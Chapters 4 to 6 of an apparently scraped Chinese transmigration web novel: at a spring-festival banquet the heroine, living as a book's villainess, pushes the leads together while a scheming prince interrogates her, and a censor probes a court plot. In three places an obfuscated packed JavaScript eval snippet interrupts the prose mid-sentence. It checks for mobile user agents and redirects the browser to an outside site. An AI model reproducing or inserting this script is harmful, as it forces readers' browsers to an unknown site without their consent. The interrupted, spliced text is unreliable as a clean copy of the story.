傅苒认出女主,便知道吹笛的人肯定是书中女主的塑料闺蜜——平原公主晏明光了。 按惯例,古早文里嫉妒女主的恶毒女配,既有开始就不和睦的,也有最初感情好过,后来却反目成仇的,平原公主就属于后面那一种。 这位公主并非皇帝的亲生女,是因父亲咸阳王权高位重,本身又极受宠,才被请封为公主。她和苏琼月也是从小相识,两个人一度感情亲如姐妹,当然,是在为了男配崔林而反目之前。 但要说早期,她对撮合男女主的确出过不少力,就比如当下的这场宴。 晏明光看见了谢青行自然是毫不意外,只在注意到他身边的傅苒时,倾身向苏琼月低声询问了几句。 听见回复后,她明显眉头微蹙,似乎稍有不快,但还是先开口道:“谢郎君来得刚巧,我与苏娘子才试过音,舞姬已然备好了。” “正是,郎君晚来不知。”席中的一个女郎附和着气氛掩口轻笑,“先头本已是排好了舞伎,没想到公主见春日晴好又起了奏乐的兴头。” “不错,听说公主的这只玉笛千金难求,当初宫宴上还得过太后陛下的称赞,今日我竟能听到此等名乐,真是有幸沾光了。” “既是因为春日,按如此说法,大家沾的便都是春光,岂不雅致!” 坐得不远的另一位年轻郎君听得几人捧场,顺势便举起自己的酒杯,一副放浪不羁的神形,“旧日洛阳名士们以曲觞流水为风雅之事,我们此时虽无流水环绕,也应当举觞才是!” “好好好——”他这样一起哄,众人顿时纷纷把盏闹腾起来。 宴上之人本就都是年岁尚轻的少年男女,场合不算正式,随意行乐而已,是以帷帐间也并未设立屏风围障一类的隔断,气氛越发热烈无拘束。 经过一番吹捧和打岔,晏明光的神色缓和不少,道:“别光拿我打趣了,眼下最得太后心意的人可不就好端端坐在这儿,琼月,你说是吧……琼月?” 苏琼月这才收回了不知不觉向心上人飘过去的眼神,脸上微露羞涩,只好用指尖拨了拨弦以作掩饰。 晏明光知道她的心思,便也不再当着他人的面继续调侃她了,拍了拍手,转而切入正题。 “好了好了,我话先说好,我和苏娘子合奏倒是不成问题,但若要配胡旋,还需要一个人来击鼓。” 这个理由可以说是早就酝酿好的。 按她们两人先前的约定,话到此处,晏明光就应该要出言让谢青行来担当这个任务了。 可偏偏有个声音比她更早一步截住了话头:“既然如此,不如我来帮阿姊击鼓吧。” 刚入座的傅苒闻声一抬眼,就这样直直望见了某个她不是太想看到的人。 又是那个病娇晏绝。 不过,可能因为今天是节假,他看起来没有像上次在谢府的时候那么仪服端正。黑发只用银冠略显随意地束了起来,身上的衣袍也是柔润的云白色,看起来清清朗朗。 远远地望过去,正是一个多情善感、青春又俊秀的少年郎君。 这时候,小郎君正笑意盈盈地接过羯鼓道:“我幼时在母后宫中就常听阿姊弹琵琶,尤记得那时候最喜欢的是《芄兰》的曲调,只是我离宫已久,好几年都不曾再听闻过了。” 苏琼月本还因为计划被扰乱而迟疑地看了看晏明光,但听到这话,仿佛记起了儿时的温情,神色也不禁跟着软化下来。 “嗯,我以前练习时弹过太多,姑母都常常说要听得不耐烦了,恐怕也唯有你这样念念不忘。” “是啊,可惜我多年来还从未有机会为阿姊伴奏过。”晏绝看着她面露犹豫的样子,又补充了一句,语调里甚至不多见地带了点少年讨巧的神气。 “今日有这个时机,实在难能可贵……阿姊想必不会拒绝我吧?” 席中分明宾客如云,但他的目光始终只停在了苏琼月身上,近乎是旁若无人的态度,见她总算点头,便得逞般地会心一笑,亲昵又自然。 他对正儿八经的真堂姐平原公主仿佛视若无睹,反而和苏琼月关系要更近得多。 两人谈起宫中往昔,如同某种不足为外人道的默契。 “谢公子,晞容,吃橘子吗?” 傅苒往嘴里塞了一颗酸甜的葡萄,以看好戏的心态慢悠悠剥着桌上的水果,顺便递了大半给谢家兄妹。 还没递到谢青行手里,就被谢晞容横了眼,别别扭扭地把盘子一把端走了。 从进来起,傅苒就全程围观了小病娇争风吃醋的戏码,但毫不担心,反而有点儿事不关己的轻松。 反正他现在再怎么打亲情牌也不会有成效,原著里从始至终,女主都仅仅是把他当成从小认识的弟弟而已,一点别的感情也没有——如果后来的害怕不算的话。 所以老话怎么说来着,得不到的总归得不到,又争又抢也是没有用的。 相比起来,她还是想想怎么让男女主单独见上面更重要。 宴上舞乐按次序开场,首先响起的依旧是平原公主手中那支笛子。 玉笛一道清鸣,陡然荡开了帐前的春风,舞姬足踝上系着的金铃便跟着叮铃铃地摇晃起来,青蓝交窬的裙摆应和着鼓点的节拍漾起了一圈圈的涟漪。 随着音乐逐渐上扬,舞姬们倾身右旋,帔帛卷起华美的弧光。忽然间,琵琶声如珠玉一般迸裂,领舞的女子便不假思索,立即随之仰身折腰,裙裾在飞扬中泼洒出雀尾似的弧度,引发一阵喝彩。 羯鼓伴随着愈击愈烈,那舞姬却应对自如,眼看发间的红玛瑙坠子已经堪堪要扫到了草尖,她踩着鼓点,猛然又旋身而起,合上笛声将止的尾音,回首嫣然一笑。 席间顿时激起愈发热烈的欢呼,有人适时向晏明光恭维起来:“不说这设帐的锦缎值得上多少金,单是搜罗十几位善舞的胡姬便已经是难得了,公主的手笔果然不凡啊。” 上首的晏明光吹完一曲,额头已见薄汗,却满意而克制地翘起唇角,随口客套了几句:“这算得了什么,去年陛下生辰的时候我准备《鹿鸣》,可不比今日的耗神多了。” 尽管在座的人多是世家子弟,也不是随便谁都见过皇帝的,然而像她这样金枝玉叶的宗室女,提起来却像习以为常一般。 虽然看似在谦虚,但其中也不□□溢出骄傲之意。 说起来,要不是这样的性格,说不定她和女主也不至于走到决裂的地步。 傅苒在心里感叹了一下,就继续认认真真地欣赏舞乐,却忽然听见一个少女惊声笑道:“李七郎,你去瞎凑什么热闹!” 闹出动静的是最开始起哄喝酒的年轻郎君,他脸上已经喝得泛红,竟自顾自站了起来:“看得够多了,我也来给你们露一手!” 他快步跳进场中,正踏在最前方的领舞旁边,几乎踩到她的裙摆。 因为此举突然,领舞明显被吓了一跳,好在她训练有素,才险险躲过了摔倒的危机。但离得最近的几个人却都毫无阻止的意思,反而笑成一片,看乐子看得津津有味。 被叫做李七郎的青年跳得自然远不如舞姬,加之褒衣博带,大概是偏好名士风流的派头,行动间飘飞的衣袂把舞步遮了大半,差点又要绊倒几个。 而且大概是喝高了的原因,他跳了没几下,立刻醉鬼的本相毕露,不知道从哪抄起一觚,居然胆子很肥地开始对晏绝劝酒:“我方才见殿下一直就没动过杯,何等胜事,怎可无酒,还当饮此杜康才是。” 但他显然想多了,晏绝不是对每个人都有对待苏琼月的态度,连一个眼神都懒得瞥过来,直接把他无视了。 “……”李七郎有点挂不住脸,只好悻悻地自己干了杯。 晏明光见状这才一拍桌子,没好气道:“我办这宴可不是让你来闹事的,赶紧坐回去!” “行,行,公主都发话了,我这就回……” 摇摇晃晃的李七郎总算顺台阶下了,朝着原本的座位走回去,但因为醉酒,步子迈得歪七斜八的,被地上的什么东西一绊,整个人控制不住地往前扑倒,差点掀翻了傅苒的案桌。 好在旁边的谢青行反应更快,余光一扫,身体便已经做出动作。 他常年练军,出手迅捷,李七郎只觉被一股力道按在肩膀上,膝盖往下一压,天旋地转,瞬间直挺挺跪坐在了铺陈的氍毹上,人终于安分了。 晕乎乎的醉鬼还干笑了两声:“哈哈,多亏了谢郎君。” 谢青行镇静地松开了他,继而转头安慰道:“阿苒,你没吓到吧?” “没有没有,我在这。”傅苒却从另一侧闪了出来,向他挥了挥手。 还好她可是看过剧本的人,见到李七郎开始喝醉闹事就感觉不妙,所以在对方转身的同时飞快抄起坐席,全身而退,留给了男主充分的发挥空间。 要说惊吓,刚才的舞姬倒是真的被吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419393|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了,人家打个工多不容易。 当然也多亏系统不强制走原著线,否则,女配就得摆出弱柳扶风的姿态,一套丝滑小连招往男主身上靠过去,继而引得女主吃醋委屈了。 这个白莲花是真不容易当啊。 她底气不足地瞄了一眼苏琼月,却发现对方貌似完全没注意到她的小动作,以看心上人的神色专注地盯着男主平息混乱的英姿,耳根微红,那叫一个含情脉脉。 但是很显然,女主心动了,肯定会另有人不高兴。 果不其然,晏绝眼神转冷,不着痕迹地靠近了过去,挡住了苏琼月的视线,朝她露出撒娇般的笑容:“阿姊,帐子里人多,看你脸上都闷红了,不如我陪你出去透一会气吧?” 苏琼月的双颊顿时更红了,张了张口,却不好意思和看似满脸关心的少年解释原因。 然而她还是想也不想便婉言拒绝了,“那你先出去吧,我一会再自己去好了。” “……”傅苒幸灾乐祸地看了眼晏绝的脸色,忍着笑又往嘴里塞了两颗葡萄。 就说吧,心机是争不过天选的。 不过晏绝走了,她的阻碍就更少了一个。眼看女主偷瞄谢青行无数次,总算下定决心合上琵琶匣,悄无声息地向晏明光耳语了几句,平原公主立刻露出会意的笑容,打趣似地推了她一把。 “你想逛了就去吧,”晏明光略有些刻意地抬高声音,好像就是想让某人听到,“但我这会怠懒得很,可不打算陪你了。” 这也暗示得太明显了吧,傅苒精神一振,火速对完全不明白情况的谢青行扯了个离开的借口:“刚才好像吃太多了,坐着发撑,我也想出去走走。” 走出帐子,她踮起脚尖四处张望,没多久就发现一抹熟悉的青碧色从岸边闪过,隐隐约约走向了河洲。 是女主的衣服没错。 她迫不及待地拎起裙摆,急匆匆追了过去。 很好,目前都还算顺利,反正只要找到约定的地方,再随便找理由把谢青行引过去就好了。 唯一的问题是,很难说清为什么,想起那天小病娇的笑容,傅苒总有种不太好的预感……他不会还打着什么算盘吧? 事实证明。 人往往怕什么就来什么。 穿过树林后,她没看到苏琼月,而是被另一个人截住了。 先前离席的晏绝不知什么时候独自站在了河畔,身边柳荫浓深,修长的手指间正握着一段青翠的枝叶。 其实已经不太能算是一段了,始作俑者大概是准备把它揉成某种形状,但由于手法太过粗暴,原本柔韧的柳枝都被糟蹋得不成样子,看起来更像是团纠缠的线团。 而就在她目光落上去的同时,那枝条终于不堪重负,从中间咔擦一声折断了。 他抬眼看见傅苒,唇边漫出一个嘲讽般的笑容,随即像对待垃圾一样将它随手一抛。早已饱经蹂躏的柳枝可怜巴巴地落在了泥里,傅苒不自觉心头一颤,仿佛对它的命运感同身受。 “晏……”她被突然惊吓,差点就把脑海里盘桓的名字念出来,还好音节刚卡在喉咙里就猛然惊醒,赶紧停下了脚步,“清河王殿下。” 好险好险,幸亏没叫出口。 老实说她一直觉得作者名字取得相当清奇,毕竟绝这个字用作一位皇子的名,在古代背景下好像多少有点不太吉利。不过鉴于这是篇古早小说,没取名叫“东方离”“南宫殇”就已经不错了,不能计较太多。 眼前的光影倏尔晃动了一下,少年的革靴底从柔软易折的初生绿草上踏过,脚下随之传来草叶断裂的咯吱轻响。 他竟然不慌不忙地走到了傅苒面前,遮蔽日光的阴影顺势落在她的身上,笑吟吟的模样让人心头一阵不安。 “傅姑娘,没想到会在这里碰面,真是巧遇。” 直觉告诉傅苒,这次相遇一点也不巧。 但现在,她就是想躲也躲不掉了,只好硬着头皮行礼问候:“那我们也太有缘分了,不过殿下,你有什么事吗?” 晏绝不知打的什么主意,神情倒是称得上和善,却丝毫没有要让开的意思:“我自然无事,倒是你行色匆匆,难道是有什么急着要做的?” “没有,”她当然不敢说出真实原因,“我只是觉得河边空气真好,出来散个步而已。” “是吗?看来我们不谋而合,我也正清闲得很,不如陪你一起散散步。” 我又不是女主,你哪来的这么多闲工夫……! 傅苒内心发出一阵尖锐爆鸣,表面上却敢怒不敢言,只能被强行带着拐了个弯,朝苏琼月消失的反方向绕了回去。 5. 第 5 章 三月伊河畔,春山晴,水沼暖,日光映照,树荫清凉。 洼泽里长满了鲜绿的蒲草,水上是连成片的红蓼,两岸浮云般的桃李杏花绵延至远天尽处,一眼望不到末梢。 沿岸而行时,长长的一带里垂柳婆娑,柳树枝像是碧绿的丝绦,千条万缕,如织丝一般勾勒出风的形状,绵绵垂落在游人的发尾指间。 可惜傅苒此时哪还有半点注意力分给柳色,一直提心吊胆地等着小病娇发难。 但他却仿佛全然没有察觉到傅苒的警惕一样,语气很随意地开启了闲谈。 “那日在府上,我似乎听谢将军说过你是青州人氏。正巧我对青州颇有兴趣,不知傅姑娘家在何处郡县?” 问得还算正常,傅苒直接把系统介绍分毫不改地重复了一遍:“我是琅琊郡即丘县人。” 晏绝闻言眸光微微一动,但声音依然冷静:“琅琊与洛阳恐怕有千里之遥,你孑然一身远行至此,家中难道竟无人相伴,何以独自寄居于谢府?” 就说他怎么这么闲,原来是查户口本来了。 找到了来由的傅苒松了口气,搬出女配那写满了惹人怜惜的身世:“实不相瞒,家父母当初本是在即丘邻近乡县间行医,但在去岁的战乱中,双亲已经不幸罹难。所以,我在世上其实早已无亲眷家人。” 虽说父母双亡柔弱孤女的故事有点儿老套,但能用就行,谁让系统给的就是这么个破剧本。 问她有什么用,她也不想啊。 “……实在令人惋惜。”他的神色中流露出一丝令人看不出真假的遗憾,随即道,“如此说来,既是出身于岐黄世家,想必姑娘医术颇佳。” “啊?也就一般吧。”话题跳得太快,傅苒差点没反应过来。 论理说原身的医术可能确实颇佳过,但问题是对于医学,除了系统在新手养成期补课的那部分以外,据她所知她一无所知。 她不由得忐忑地低下了头,好在看起来倒有几分像少女的腼腆羞怯:“呃,家父母在世时,的确深通医术,但我,这个……学艺不精……” 少年漆黑的眸子凝视她的脸,片刻,忽地露出了一个莫测的笑容:“不必自谦,我的僚属中亦有几个昔日的琅琊人氏,说不准会对姑娘家人的事迹有所耳闻。” 他的语气里尚且听不出端倪,然而话锋却忽然一转,险些把她吓出了心肌梗塞。 “不过,我现在倒是更好奇另一件事。傅姑娘的言谈口音可与我所知的青州琅琊人截然不同,不知同为一地,为何会有如此差异?” 晏绝脸上浮现出饶有兴致般的神情:“或者说,你并非真正出于琅琊郡?或者,方才言语之中在哪里有所欺瞒?” 仿佛轻巧的疑问,就像郁郁柔柔的繁花隐没在阴影里。然而只有触手才知,底下是一丛令人生畏的毒刺。 傅苒的冷汗都快冒出来了。 他可实在问对人了,因为这个她是真不知道。 毕竟女配在原著里的戏份基本都是为了虐女主而存在的,个人背景本来就模糊,除了系统给的初始信息之外,她了解的甚至不比男主多。 但输人也不能输阵,慌乱之下,傅苒反而念头飞转,慢慢地停住了步伐,强行挤出了几分黯然神伤:“殿下,不是我有意隐瞒,只不过青州过去历经了太多战乱,我也仿佛记得幼年时,曾经随父母颠沛流离,终日居无定所。” 林阴间日光影影绰绰,照在她眉眼间,一双眼像是天然含着朦胧的水雾,垂下就带出十二分的柔弱可怜。 “所以家父母祖上或许并非琅琊郡人,可是当时年纪太小,即使当真如此,我也确实记不清楚自己祖籍何处了。” 尽管她看起来应对还算镇定,实际上心里却已经慌得一匹。好在原文设定里青徐两州属于南北交战前沿,尤其这两年归而复叛后,民众多有流散,且齐朝还没来得及重新造籍,人员身份应该很难去考究。 不然伪造身份可是大问题,肯定随便就被拆穿了。 虽然话是这么说…… 傅苒憋得快内伤了,不知道他到底还准备试探什么,而且关键是,关于女配的问题她基本一个也回答不上来。 也不能怪她,穿的就是工具人,提供的信息又有限,除了原著摆在明面上的部分以外,其他都要她自己探索,系统根本半点作用也没有。 然而出乎意料,晏绝也随着她脚步渐缓,旋即不经意地轻轻笑了起来。 “傅姑娘,你有什么好紧张的?” 他的眼神如有深意,脸上却是笑吟吟的,仿佛只是开了个略带捉弄意味而又无伤大雅的小玩笑。刹那间,刚才那种山雨欲来的低沉气氛一扫而空,好似她单方面的错觉。 就像少年人无意觉察到自己恶作剧的过分,这才不慌不忙地安抚起来,“你说的我当然都相信,何必这么认真。只不过是刚巧碰面,寒暄几句罢了。” ……怎么态度转这么快,刚刚不是还一副咄咄逼人的架势吗? 你们病娇都是这么阴晴不定变幻莫测的? 傅苒诧异地抬起头,眼前人满脸写着无辜,神色里看不出一丝痕迹。像是云散雨已收,风暴都被掩埋在幽深的水面下,惟余表面风平浪静的微微涟漪。 可她却从那水中读出了一层阴翳,是明晃晃的,但令人捉不着尾巴,仿佛一种冰冷的嘲弄。 信他个鬼,绝对是故意的! 傅苒心里蓦然升起一股被人戏耍的不服气,瞪了他几秒钟,也露出假得不能再假的笑容,语气加上了几分刻意。 “我没机会和殿下这样尊贵非凡的人打过交道,倒是不知道,殿下平时连寒暄也要这么无礼地质疑别人,还真是对不住了啊。” 她一共就见了晏绝两次,两次都是被他逼问,就算软柿子也要有脾气的。 内心的小火苗一时间蹭蹭蹭地升了起来:来啊,阴阳啊,看谁阴阳得过谁。 晏绝迎着树木间投下的丛丛光束,视线从她的脸上扫过。 那双水雾氤氲的眸子竟难得地被薄怒点燃了,显得格外生动而明亮,仿佛黑夜中熠熠的星火。 他像是因为发现了什么有趣的事物而感到意兴盎然,突然倾身朝她靠近了几分。 傅苒猛地一惊,差点往后弹射出去,好险没把“你要干什么!”质问出口。 然而,少年的手指却令人意外地掠过了她的脸颊,柔柔地拂起了一枝快擦到她颊边的柳条。 “恐怕是傅姑娘自己太过多心了。” 他轻飘飘地在她耳畔说,“但无妨,我不介意你的冒犯。” 傅苒眨了眨眼,才后知后觉地意识到这句不介意是回复她阴阳怪气的道歉。 她的小火苗刚升到一半,就莫名其妙地熄了回去。倒不是因为忽然消了气,而是总觉得有点古怪,还有一种油然而生的诡异感。 不是,怎么他看起来心情甚至更好了,是幻觉吗? 但她还没能想明白,思绪就被突然出现的声音打断了:“清河王殿下,阿苒?” 谢天谢地,傅苒一抬头,就见到了不远处帷帐的影子,和熟悉而可靠的一张脸。 原来他们走了半天,竟然又重新转回到先前的位置了。 “谢公子!” 她如蒙大赦,顾不上晏绝的脸色,转身直接三步并作两步跑到了谢青行后面,这才仗势冒出头瞥了他一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419394|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 然而晏绝的动作已经收了回去,面对着两人神色如常,半点没有理亏心虚的模样。 也对,她总不可能拿他质问的问题和谢青行告状,那就显得太小题大做了。 “晞容方才看得困了,闹着要去找二郎他们放风筝,我便也离开了。”谢青行有些不解地拍拍她的肩以示安抚,完全不知道刚刚发生了什么,“怎么了?你们为何会正巧碰上?” 哪里巧了,晏绝肯定就是特意来堵她的。 可惜的是她压根没有证据,更不敢暴露自己偷偷追踪女主的事。 “也不算正巧,是……”她灵机一动,“我看清河王殿下一个人站在河边,就找他讨教怎么编柳枝花环呢。” 河边的柳树的确生得茂密,谢青行不由好笑道:“原来是这样,那你讨教得如何?” “挺好呀,我很厉害的。” 比某人强多了,起码她不会因为自己编得一团糟就恼羞成怒把东西咔擦折了。 话都说这里,反正盘问是肯定进行不下去了,她暗戳戳给晏绝甩了个眼刀:他怎么还赖着不走? 少年冷眼看着她的举动,嘴角勾起漫不经心的弧度。 她好像全然没有意识到,这种行为就像一只借着老虎的势头,来掩饰自己瑟瑟发抖的本质的狐狸。 “可惜我倒不知道傅姑娘究竟学到了什么,不如让我也见识一下?”他并未急着离开,反而慢条斯理地折下刚才落在傅苒脸颊边的柳枝,戏谑地递到了她眼前,一幅诚心讨教的态度。 这人怎么还阴魂不散的? 傅苒刚平息下去的小火苗又差点死灰复燃,好在她也不是空口说大话,索性顺势一把接了过来。 她心里憋着气,手上动作飞快,几下就编出了个整齐的成品,做完自顾自先给谢青行展示:“我就说我手工很好的吧?” “是啊,做得很好,很漂亮。”谢青行从来不吝于夸赞。 以免又被刁难,这次在晏绝开口之前,傅苒就先发制人地拽过了他的左腕,动作飞快地把柳环往上面一套,居然恰好合适。 “那正好,殿下别客气,这个就送给你了。” 这下连谢青行都略有些讶然,随后是欲言又止:“阿苒,这恐怕……” 晏绝的表情更是风云变幻,过了半晌,才归结于一声匪夷所思般的冷笑:“傅姑娘,没有人教过你上巳赠礼是什么样的含义吗?” “没有啊,殿下都已经知道了,我又不是京城人,哪里会清楚你们的礼节。”傅苒满脸真诚,“难道你们这里,就连送个礼物也不对了?” 任谁都能看得出来,小郎君衣着华贵,所佩琳琅珠玉,和这个朴素的柳叶手环一点也不相称。 但她经过一番拷问,演技反倒超常发挥,加上有情绪,便仗着谢青行的势,委委屈屈、茶里茶气地说: “我只知道礼轻情意重,好歹也是心意,殿下不会把我的心意扔了吧,那我就要伤心得没脸见人了。” “……” “怎么会?”少年脸上挂着笑容,目光却冷淡,“傅姑娘言重了。” 他长睫微敛,终于略带几分讥诮地审视着她浮于表面的演戏。 来历不清,谎话连篇,充满疑点,但有一件事倒说得很对。 就算换上时行的盛装,她看起来也完全不同于洛阳城里娴雅的高门贵女。她面容稚气,颊上是脆弱的冷白,像是芳泽兰草上新鲜的晨露,不知不觉间,凉意就深重得沁人肺腑。 和那些热烈的、喧嚣的、来来去去的富贵烟云,丝毫也不相关。 不论她是从何处来,又是为何而来。 都绝不属于这里。 6. 第 6 章 伊河西岸,经阙塞山流下的水边,正充斥着许多嘈杂的讨论声。 “弓如满月,好俊的身手!” “哎呦,真可惜,就差那么一点了。” 河岸的地势很是开阔,许多柳树枝上都被系上了色彩鲜明的碎布,上方削去外皮,露出里面的少许白芯。这是北方射柳的旧俗,持弓者要以箭矢射中露白处,柳枝断落才算成功得筹。 人群中间亦有身穿灰色衣衫,作僮仆打扮的人正捡起地上被射断的柳条,放在了旁边记数的地方,一群好事者纷纷拥拥地围绕着中心持弓箭的鼓掌叫好。 不远处,一个名为梁巡礼的中年男子笑着负手而立,神态甚是愉快。 他刚升任御史不久,正是春风得意的时候,便趁着上巳的好意头,为家族中的后辈子侄们开了场射柳的比试。见场中为首的身影得意洋洋地将断枝抛向记数处,他朗声笑道:“十一郎已拿下三筹,可还有……” 梁巡礼正捻着胡须点评族中子弟的箭法,忽见不知道谁射出的一支铁箭失了准头,竟然直直往河边而去了。 “快去看看。”他立刻警醒,迅速抬手止住了众人,“不要伤了过路的人。” 候场的家仆听命去查看情况,很快发现那铁箭钉在离河滩不远的地面上,旁边站着一个云白色衣袍的秀美少年。 “实在抱歉,郎君可曾伤着?” 家仆先出了声询问,随后恭谨地半低着头打量对方,视线扫过精致的衣身布料,看见他腰间蹀躞带上双螭相缠的带扣,不由得吃了一惊。 当下不敢怠慢,立刻小跑着折返,向望着这边的梁巡礼禀报:“郎主,似是位贵人,仆不敢擅作主张。” 听到如此回话,出于谨慎考虑,梁巡礼不由得打消了叫后辈去询问的念头,亲自走了上去。 树下的少年神色悠闲,正俯身拨弄着箭簇,虽然只是孤身一人,却明显气度不凡。交错的光影中,他精致而柔和的侧脸被割裂成明和暗的两色。 的确是位贵人。 梁巡礼眼底霎时精光一闪,抬手整了整身上的常服:“竟是清河王殿下在此游春,梁某治家不严,不慎冒犯殿下了,还望见谅。” “是我自己没带侍从,只不过随便走走,刚巧碰上,没什么冒犯的。” 晏绝从容地转头望了他一眼,似乎并不意外,只是笑了笑:“梁御史不必太客气。” 尽管清河王看起来没有把这个小问题放在心上,但梁巡礼也未敢全然当真,当着对方的面斥责了自家子侄几句,随后以赔罪为由,邀请晏绝一同往设席的地方走。 其实他和清河王打交道极少,碰面纯属偶然,本来没什么好谈的,但说来也是刚巧,他这会还真是有件事需要旁敲侧击一下。 不过都是混迹朝堂的人精,梁巡礼不急着直入主题,反而面上带了些打趣的神色,看向少年手上的一抹新鲜的绿色。 “清河王殿下似乎也正到了要考虑婚事的时候了。若是心有属意之人,只怕要及时向太后禀明才好,否则若是佳人另许,便不免遗憾了。” 他身为御史,自认眼光颇为刁钻,一眼就看出清河王手上的柳叶编环必定是女子所赠,所以才有这一番调侃。 要知道上巳节可不是普通的日子,如《诗》颂言,“维士与女,伊其相谑,赠之以芍药”,自古以来便是有情人相会的时候。 在这时节以柳为礼,若说不是有意,连他都不信。 不过晏绝却并未接口,因为当着梁巡礼的面,不好把东西怎么处理,只是让垂下的衣袖略微遮住了它。 柳枝坠在手腕上,带来轻微的沁凉,是河边水汽那种令人不悦的潮润。 他低头看了一眼,但脸上没有什么被打趣后的羞窘之意,反倒不着痕迹地把自己从言语中摘了出去:“梁御史见微知著,的确洞察力非凡,不愧是皇兄时常夸赞的能臣。” 夸赞不过是一笔带过的场面话,梁巡礼自然识趣得很,没把这样的辞令当真,只惯例自谦了几句,然后借机闲谈了起来。 “殿下可还记得相州刺史赵筑的案子?闹出了这样一桩大案,御史台现在也是忙碌得很呐。”梁巡礼说着说着叹息一声。 开春以来,他和同僚们耗费精力最多的无疑就是这件事了。 赵筑的行为甚至还不是督查查出来的,而是被人检举,一一列罪,可谓丑闻。 当时皇帝听闻后便大怒,当场要求御史台和廷尉立刻审理案件,并让身为丞相的咸阳王负责此事,严令各方务必要彻查清楚。 当然,像这样的案件,于御史台来说实属常见,尽管严重,但也就是公事公办。 可这回有一样异常,那就是主导审查的咸阳王在私下里会见了他。 咸阳王与先帝亲近,早早封王,一直身居高位不说,作为叔父也深得当今皇帝的重用。而梁巡礼本人在太后初临朝时不甚得志,直到皇帝开始理政后才逐步被提拔,资历称不上深厚,与咸阳王素无交谊,所以感到十分奇怪。 更让他心生警觉的是,初次会面之中,咸阳王就似乎在向他暗示,皇帝的“彻查”实际上另有深意。 但话不能偏听一头,何况梁巡礼对他的暗示惊疑不定,所以准备多方探探意思。没想到想瞌睡就来枕头,今天刚巧碰上了清河王。 要知道清河王虽然年少,但是皇帝的亲弟弟,在宗室诸王中也属于最有实权的几人之一。况且他同样在太后宫中长大,若论对帝王的了解,恐怕极少有人能胜过。是以上巳一遇,对梁巡礼而言实在是意外的惊喜。 然而晏绝却没有直接说什么,而是反问他:“那梁御史对这件事是如何看待的?” 既然是有求于人,梁巡礼也就不再继续卖关子了,谨慎而克制地谈了几句自己的看法。 他家境不显,能爬到现在的位置,除了能力以外,政治嗅觉自然也是不差的,心里自然清楚,赵筑只是个筏子,皇帝真正想查的另有其人。 有意愿也有能力,而且还和赵筑交好的,除了南部尚书李谌别无他人。当然,兄弟之间同气连枝,其中肯定还少不了李谌那个好弟弟,中书令李怿的影响。 要说包庇的事情可大可小,要是往轻了算,多半是给李家兄弟定成个渎职之罪,然后革职罚俸了事。 而且鉴于他们一贯受器重,说不准没过多久就又升回来了。 可这件事里最让人犯难的,无疑是皇帝的意思。 把事情整得如此大张旗鼓,总不能就为了敲打一下。但若不是敲打,真正的目的又是什么? 或者说,查,究竟需要查到哪一步? 梁巡礼还在酝酿着如何试探,便忽然听晏绝道:“我常听人夸赞梁御史书读万卷,博览古今,精通于经书史籍,可曾知晓秦人嫪毐之事?” 这话里的意思就太过尖锐了。 饶是梁巡礼已有心理准备,脸上也不由得些微变色。 嫪毐是谁?秦皇之生母赵太后的男宠。不仅与太后私通令之有孕,混淆了皇家血脉,甚至还自称皇帝假父,妄想图谋大权,以至于祸乱国家。 “这,莫非……” 梁巡礼终于想起了隐隐听说过的一些捕风捉影的传闻,迟疑着没敢说出口,心中却明镜一样。 李怿和太后,难不成、难不成竟然是——他如同拨云见日般恍然大悟。 原来如此,皇帝之所以要对付中书令李怿,根本就不是为了他滥用职权,也未必真的在乎什么枉法徇私。 最根本的原因是因为,李怿是太后的情人! 想到这一点,梁巡礼的神色变化简直可以用大起大落来形容,想到后续,他尽可能冷静下来道:“既是这样,请恕我多问一句,嫪毐其人,殿下以为该当何罪?” 嫪毐死于造反,若依他来看,李家人再借十个胆子也是不敢造反的,可皇帝的心思不好说。 “浸益骄奢,恣肆不臣。” 晏绝含笑看了他一眼,“梁御史饱读史书,应该比我更清楚这些评断。” 话不在多,梁巡礼心中重重一沉,彻底明白了意思。 不管李家人有没有谋反的胆量,只要君主想要这个罪名,总有办法安上去,由不得他们。 反正弄权结党这种事情,一样可大可小,往大了说,当然也够得上藐视皇权的程度,若是再有别的人证物证加以辅助,说不准就能给他扣上一顶谋逆不轨的帽子。渎职不好说,但谋逆之罪,够灭他家满门的了。 思虑到这里,梁巡礼忽然默默出了身冷汗。 此局比他一开始所想的更为险峻啊。陛下分明是项庄舞剑,意在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是当见到她的时候,他的眼神中仿佛隐约闪过一丝讶异。 但苏琼月没有注意到这点细微的神色变化,她紧张得厉害,只觉得心怦怦直跳,好半天才总算组织起了语言,好让自己在开头显得稍微矜持一点:“我,我在这里观赏桃花,郎君来此何事?” 谢青行不过一讶之后,很快便收敛起了情绪,微微笑道:“说来倒是和苏娘子有关。” 苏琼月差点就要忍不住说出一句“我也在等你”,还好心中涌起的赧然制止了悸动,只剩下满眼期待看着他。 